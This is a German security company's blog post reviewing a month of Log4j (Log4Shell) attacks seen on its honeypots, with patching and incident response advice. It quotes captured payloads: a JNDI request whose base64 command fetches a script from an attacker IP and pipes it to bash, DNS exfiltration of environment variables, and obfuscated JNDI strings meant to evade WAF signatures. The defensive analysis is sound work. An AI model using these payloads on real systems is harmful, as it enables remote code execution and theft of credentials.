Ein Monat Log4j – was haben wir gelernt?

Die ersten Stunden

Als IT-Security Experten, haben wir umgehend nachdem die Sicherheitslücke bekannt wurde sowohl unsere eigenen Systeme als auch die unserer Kunden geschützt und auf durchgeführte Angriffe untersucht. Innerhalb der kurzen Zeit konnten wir bereits zahlreiche Angriffe registrieren und haben diese kontinuierlich analysiert. Hierbei ist die Analyse essenziell, denn wir möchten mit dessen Hilfe verstehen, wie Kriminelle diese Lücken ausnutzen und wie wir uns besser vor künftigen Angriffen schützen können.

Für die Analyse der Log4j-Angriffe haben wir die Daten des vergangenen Monats aus eigenen Honeypots und Servern ausgewertet. Die Log-Daten haben wir in unserer SIEM (Security Information and Event Management)-Lösung ausgewertet.

Bei einer Sicherheitslücke dieser Tragweite sind die ersten Stunden entscheidend. Wir konnten bereits ab dem 10.12.2021 um 13:00 Uhr die ersten Log4j-Angriffe auf unsere Honeypots und Server registrieren. Da die Angreifer mit Hilfe von automatisierten Tools verwundbare Systeme ermittelt und gezielt angegriffen haben, hat man als Verteidiger wenig Zeit, um die notwendigen Maßnahmen einzuleiten. Es ist von Vorteil, wenn man auf ein gutes Asset-Management-System setzen kann und nicht erst lange recherchieren muss, welche Systeme betroffen sein könnten. Diese Systeme müssen möglichst schnell identifiziert und der Zugang auf diese Systeme beschränkt werden. Die Beschränkung ist notwendig, damit die Systeme nicht gehackt werden können. Anschließend können die Systeme gepatched werden. Auch nach dem Patchen sollten die Systeme nochmal von Pentestern überprüft werden. Diese sollten sich vergewissern, ob die Sicherheitslücke tatsächlich geschlossen wurde. Wenn dieser Prozess zu lange dauert, sind die Systeme als kompromittiert zu betrachten und der Incident Response Prozess einzuleiten. Das betrifft nicht nur die Systeme, die eine Log4j-Schwachstelle aufweisen, sondern auch die Systeme, die mit diesen Systemen kommunizieren.

Wie kann diese Sicherheitslücke ausgenutzt werden?

Die Schwachstelle kann relativ leicht ausgenutzt werden. Dazu reicht ein einfacher Request aus. Die ausführenden Befehle werden einfach base64 encodiert übergeben.  

GET / x=${jndi:ldap://195.54.160.149:12344/ 
Basic/Command/Base64/KGN1cmwgLXMg 
MTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguM 
jAxLjExMi4xNTI6NDQzfHx3Z2V0IC1xIC1PL
SAxOTUuNTQuMTYwLjE0OTo1ODc0LzEz 
OC4yMDEuMTEyLjE1Mjo0NDMpfGJhc2g=} HTTP/1.1

Über die Schwachstelle können auch Umgebungsvariablen wie AWS_SECRET_ACCESS_KEY oder JAVA_VERSION  mit einem Request ausgelesen und per DNS-Protokoll exfiltriert werden.

${jndi:ldap://${env:JAVA_VERSION}.oob.domain.tld}
8u102.oob.domain.tld

Der klassische String für den Angriff sieht wie folgt aus: ${jndi:ldap://attacker-domain.tld/a}. Auf dieser Grundlage wurden die ersten Web Application Firewall (WAF) Signaturen geschrieben. Ab dem 12.12.2021 konnten wir auch die obfuscated Varianten in den Log-Daten sehen. In Twitter wurden die Varianten schon vorher geteilt.

Weitere obfuscated Varianten kamen relativ schnell dazu. Um ein paar Beispiele zu nennen:

${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//x.x.x.x:8081/w}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://x.x.x.x:1389/t}
${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p://x.x.x.x:1389/t}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://x.x.x.x:1389/a}

Für die Ausnutzung der Sicherheitslücke wurden unter anderem die folgenden Protokolle eingesetzt:

• dns
• ldap
• ldaps
• rmi

Viele Unternehmen verwenden Schwachstellen Scanner, um zu prüfen, ob ihre Anwendungen von der Sicherheitslücke betroffen sind. Das ist bedingt hilfreich, da die Scanner in der Regel die gängigen Fälle prüfen, jedoch nicht die gesamte Anwendung testen können. Außerdem schließen Angreifer die Sicherheitslücke selbst, nachdem diese vorher Zugang zum System erlangt haben.

Die meisten Angriffe, die wir beobachtet haben, richteten sich gegen Webanwendungen. Der String befand sich sehr oft im HTTP-Header, aber auch in Query String oder Cookies. Der String kann theoretisch überall vorkommen, Hauptsache der String wird an Log4j übergeben. Das macht die Lücke besonders kritisch. Wir konnten auch Angriffe gegen Apache Solr und auch Elasticsearch feststellen. Zusätzlich zu den Angriffen auf die Webanwendungen konnten wir auch Angriffe auf SSH- und SMTP-Protokolle beobachten. 

EHLO ${${::-j}ndi:dns://45.83.64.1/securityscan-zzz}

Dec 14 04:52:12 hostname sshd[18610]: Invalid user ${jndi from x.x.x.x port x
Dec 14 04:52:14 hostname sshd[18610]: Failed password for invalid user ${jndi from x.x.x.x port x ssh2
Dec 14 04:52:15 hostname sshd[18610]: Connection reset by invalid user ${jndi x.x.x.x port x [preauth]